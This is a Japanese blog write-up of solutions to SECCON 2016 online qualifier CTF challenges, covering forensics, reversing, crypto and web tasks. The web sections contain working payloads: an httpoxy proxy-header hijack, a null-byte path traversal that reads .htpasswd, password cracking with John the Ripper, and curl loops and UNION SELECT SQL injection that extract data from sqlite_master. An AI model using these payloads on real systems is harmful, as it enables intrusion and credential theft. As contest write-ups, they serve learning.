LoginSignup
9
4

More than 5 years have passed since last update.

SECCON 2016 オンライン予選 write up

Last updated at Posted at 2016-12-11

SECCON 2016 オンライン予選に某チームで参加した。そこそこの順位。去年までとはうってかわって、ガチなExploit問題が多めだった。

私が解いた(or 途中まで解いた)問題の解法。

VoIP (Forensics, 100点)

pcapからVoIPの音声を取り出す問題。どうするのかと思ったけど、Wiresharkで開いて、Telephony→VoIP Callsで再生までできる。

SECCON{9001IBR} かな? SECCON{9001IBA}かな? どっちも通らないな……」と悩んで放置していたら、チームメイトがSECCON{9001IVR}で通していた。英語力……。

SECCON{9001IVR}

Anti-Debugging (Binary, 100点)

Windowsバイナリ。パスワードがI have a pen.かどうかを調べて、デバッガのチェックをして、フラグを表示している。パスワードが分かったらデバッガで動かす必要は無いのではと思ったけど、if (0==1) {のようになっている。難読化されているわけでもないので、何とでもなる。

SECCON{check_Ascii85}

pppppoxy (Web, 200点)

Windowsのバイナリを動かすとウェブサーバーが立ち上がってブラウザが開き、ログイン画面が表示される。タイトルからして、httpoxy。

curl -H "Proxy: http://127.0.0.1:8080" http://127.0.0.1/ --data "user=admin&pass=test"

で、8080ポートで待ち受けていると、

GET http://127.0.0.1/Authenticator?user=admin HTTP/1.0
Host: 127.0.0.1
User-Agent: poxyclient/0.1

というアクセスが飛んでくる。これに対して何を返せば良いのか悩んだが、http://127.0.0.1/Authenticator?user=adminにアクセスしてみれば良かった。

{"hash":"C432A8174394A3F655B2BD29BB075E4C"}

パスワードのMD5ハッシュだろうと当たりをつけて、testのMD5ハッシュに差し替えたら通った。

HTTP/1.0 200 OK
Content-Type: text/plain
Content-Length: 43

{"hash":"098F6BCD4621D373CADE4E832627B4F6"}

こんなファイルを用意して、cat response.txt | nc -l 8080

SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}

Backpacker's Capricious Cipher (Crypt, 200点)

公開鍵暗号。面白かった。

不慣れなrubyをがんばって読んでみると、次のような処理だと分かる。

N=128。P=79228162514264337593543950319を法としての剰余環。

keyは、P未満の整数の長さNの配列、
priv_keyは、0か1の長さNの配列、
sumは、keyのうちpriv_keyが1に対応するものを足し合わせた数。
(sum, key) が公開鍵で、priv_keyが秘密鍵。

暗号化の結果として出力するのは、(N未満の数と(P未満の数の配列)の組)の配列。 [[72589823399196468125690117754,[]],[67685415881951442851282304799,[0]],[7058749587311540565065270139,[0,0]],[55338377772054747597823708804,[0,1]],[6706183...みたいな感じ。P未満の数の配列の長さは実は高々2個で、[i,j]について、i≦j。

処理を追うと、P未満の数の配列に対応する値は次のようになる。

[] message - sum*(a[0]+a[1]+…+a[N])
[0] key[0]*(a[0]+a[1]+…a[N]) - c[0] - sum*b[0]
[1] key[1]*(a[0]+a[1]+…a[N]) - c[1] - sum*b[1]
[N] key[N]*(a[0]+a[1]+…a[N]) - c[N] - sum*b[N]
[0,0] key[0]*b[0] + c[0]
[1,1] key[1]*b[1] + c[1]
[N,N] key[N]*b[N] + c[N]
[0,1] key[1]*b[0] + key[0]*b[1]
[x,y] key[y]*b[x] + key[x]*b[y]

a, b, cは乱数。

復号は、[x,y]について、priv_key[x]*priv_key[y]が1となるものだけを足し合わせる。なるほど、たしかに上の表と睨めっこしてみると、上手いこと打ち消し合ってa, b, cが消えるし、keyの中から合計がsumに等しくなる組み合わせを選ぶのは、ナップサック問題みたいでとても難しそう。

一見どうしようもなさそうだが、よくよく考えてみると、「keyの中から値をいくつかえらんで合計するとsumになる」という条件は全く必要無い。

aはa[0]+a[1]+…a[N]の形でしか出てこないので、=Aと置いて、1個の変数にできる。また、[x][x,x]を足し合わせるとcが消える。

[] message - sum*A
[0]+[0,0] key[0]*A - sum*b[0] + key[0]*b[0]
[1]+[1,1] key[1]*A - sum*b[1] + key[1]*b[1]
[N]+[N,N] key[N]*A - sum*b[N] + key[N]*b[N]
[0,1] key[1]*b[0] + key[0]*b[1]
[x,y] key[y]*b[x] + key[x]*b[y]

ここで、[0]+[0,0][1]+[1,1][0,1]に注目してみると、式が3個で、値の分からない変数がb[0]とb[1]、Aの3個なので、単に連立方程式を解けばAの値が求められる。あとは、[]+sum*Aを計算すれば良い。

N = 128
P = 79228162514264337593543950319

sum, key = eval(open("pub_key.txt").read())

enc = {}
for e in eval(open("enc.txt").read()):
  enc[tuple(e[1])] = e[0]

def inv(n):
  return pow(n, P-2, P)

A = enc[0,] + enc[0,0]
B = enc[1,] + enc[1,1]
C = enc[0,1]

A = (A*(key[1]-sum)*key[1] + B*(key[0]-sum)*key[0] - C*(key[0]-sum)*(key[1]-sum)) * inv(key[0]*(key[1]-sum)*key[1] + key[1]*(key[0]-sum)*key[0])
message = enc[()] + sum*A

print hex(message%P)[2:-1].decode("hex")

SECCON{kpsk}

uncomfortable web (Web, 300点)

終了5分前に解けた。「アップロードしたスクリプトを実行してあげるから、外部には公開されていないhttp://127.0.0.1:81/を攻撃しろ」という問題。攻撃するサーバーは内部ネットワークの別サーバーではなく、スクリプトが動いているのと同じサーバーなので、何かそれを使うことがあるのかと思ったけど、権限がかなり制限されているので何もできない。冷静に考えてみると、この方式の理由が分からないな……。curlforで回したくらいか。Pythonやperlも使えるようだけど、シェルスクリプトでcurlを使った。

curl http://127.0.0.1:81/で、/authed//select.cgiがあることが分かる。

http://127.0.0.1:81/select.cgiの中身は、

<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>

http://127.0.0.1:81/select.cgi?txt=aで、

<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/a.txt<br>
<br>
                       /$$     /$$                       /$$       /$$            /$$                /$$    <br>
                      | $$    | $$                      | $$      /$$/           | $$               | $$    <br>
  /$$$$$$  /$$   /$$ /$$$$$$  | $$$$$$$   /$$$$$$   /$$$$$$$     /$$//$$$$$$    /$$$$$$  /$$   /$$ /$$$$$$  <br>
 |____  $$| $$  | $$|_  $$_/  | $$__  $$ /$$__  $$ /$$__  $$    /$$/|____  $$  |_  $$_/ |  $$ /$$/|_  $$_/  <br>
  /$$$$$$$| $$  | $$  | $$    | $$  \ $$| $$$$$$$$| $$  | $$   /$$/  /$$$$$$$    | $$    \  $$$$/   | $$    <br>
 /$$__  $$| $$  | $$  | $$ /$$| $$  | $$| $$_____/| $$  | $$  /$$/  /$$__  $$    | $$ /$$ &gt;$$  $$   | $$ /$$<br>
|  $$$$$$$|  $$$$$$/  |  $$$$/| $$  | $$|  $$$$$$$|  $$$$$$$ /$$/  |  $$$$$$$ /$$|  $$$$//$$/\  $$  |  $$$$/<br>
 \_______/ \______/    \___/  |__/  |__/ \_______/ \_______/|__/    \_______/|__/ \___/ |__/  \__/   \___/  <br>
<br>
<br>
</body></html>

authed/${name}.txtが表示されているらしい。authed/は認証が要求される。.htaccessがあるだろうから見てみる。ちなみに、読み取り権限が無いのか何なのか、.cgiは読めない。

http://127.0.0.1:81/select.cgi?txt=.htaccess%00

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

http://127.0.0.1:81/select.cgi?txt=../../../../../../../var/www/html-inner/authed/.htpasswd%00

keigo:LdnoMJCeVy.SE

このhtml-innerディレクトリは、81番ポート用のディレクトリらしく、txt=.htpasswd%00でも良い。

.htpasswdをJohn the ripperに掛けると、すぐにパスワードが出てくる。test

kusano@ubuntu:~/ctf/seccon2016q$ cat .htpasswd
keigo:LdnoMJCeVy.SE

kusano@ubuntu:~/ctf/seccon2016q$ john .htpasswd
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
test             (keigo)
1g 0:00:00:00 100% 2/3 25.00g/s 23050p/s 23050c/s 23050C/s orange..horses
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kusano@ubuntu:~/ctf/seccon2016q$ john --show .htpasswd
keigo:test

1 password hash cracked, 0 left

curl --user keigo:test 'http://127.0.0.1:81/authed/'

で、authed/

  • a.txt
  • b.txt
  • c.txt
  • sqlinj/

が存在することが分かる。

authed/sqlinj/の中身は1.cgi2.cgi、…、100.cgi。それぞれのcgiは、

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>

で、?no=4822267938を付けると、

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body><html>

となる。

各CGIは、ファイルサイズも更新時刻も全く同じだけど、「まあ、どれか1つにSQLインジェクションが可能なのかな?」と考え、

for i in $(seq 1 100)
do
  echo ${i}
  curl --user keigo:test http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27--
done

とすると、

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
159   159    0   159    0     0   4216      0 --:--:-- --:--:-- --:--:--  4297
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>72
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
116   233    0   233    0     0   6194      0 --:--:-- --:--:-- --:--:--  6297
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>73
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
159   159    0   159    0     0   3640      0 --:--:-- --:--:-- --:--:--  3785
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>

となった。脆弱なのは、72.cgi

あとは、

curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,group_concat(sql)+FROM+sqlite_master--'
ISBN-10: 0
ISBN-13: 0
PUBLISH: CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,f1ag+FROM+f1ags--'
ISBN-10: 0
ISBN-13: 0
PUBLISH: SECCON{I want to eventually make a CGC web edition... someday...}

{I want to eventually make a CGC web edition... someday...}

randomware (Forensics, 300点)

PCが壊れたから直してくれと。.qcow2のディスクイメージが問題。

.qcow2のままだと扱いづらいので、rawイメージに直す。

qemu-img.exe convert -O raw disk.qcow2 disk.img

アンチウイルスソフトが激おこ。FTK Imagerで開く。/tce/mydata.tarというファイルがある。中を見ると、/home/tc/h1dd3n_s3cr3t_f14g.jpgというファイルや、/home/tc/getflagというファイルがある。

getflagh1dd3n_s3cr3t_f14g.jpgをダウンロードして、他のファイルとともに暗号化するプログラム。/dev/urandomから1KB読んで鍵とし、xorを取る。鍵は全ファイルで固定。他に暗号化されているファイルを探すと、/home/tc/.mozilla/firefox/wir5mrmb.default/revocations.txtがあった。revocations.txtでググって出てきたファイルとは先頭部分が一致しているらしく、これを使って半分くらいh1dd3n_s3cr3t_f14g.jpgが復号できた。まだ足りない。/home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xmlも暗号化されていて、復号してみると、このファイルは先頭に更新時刻が入っている。更新時刻を頼りにググって、↓のファイルを見つけた。

これで、h1dd3n_s3cr3t_f14g.jpgの全体が復号できた。夜中に飯テロ画像が出てきてつらかった(◞‸◟)

SECCON{This is Virtual FAT too}

9
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
9
4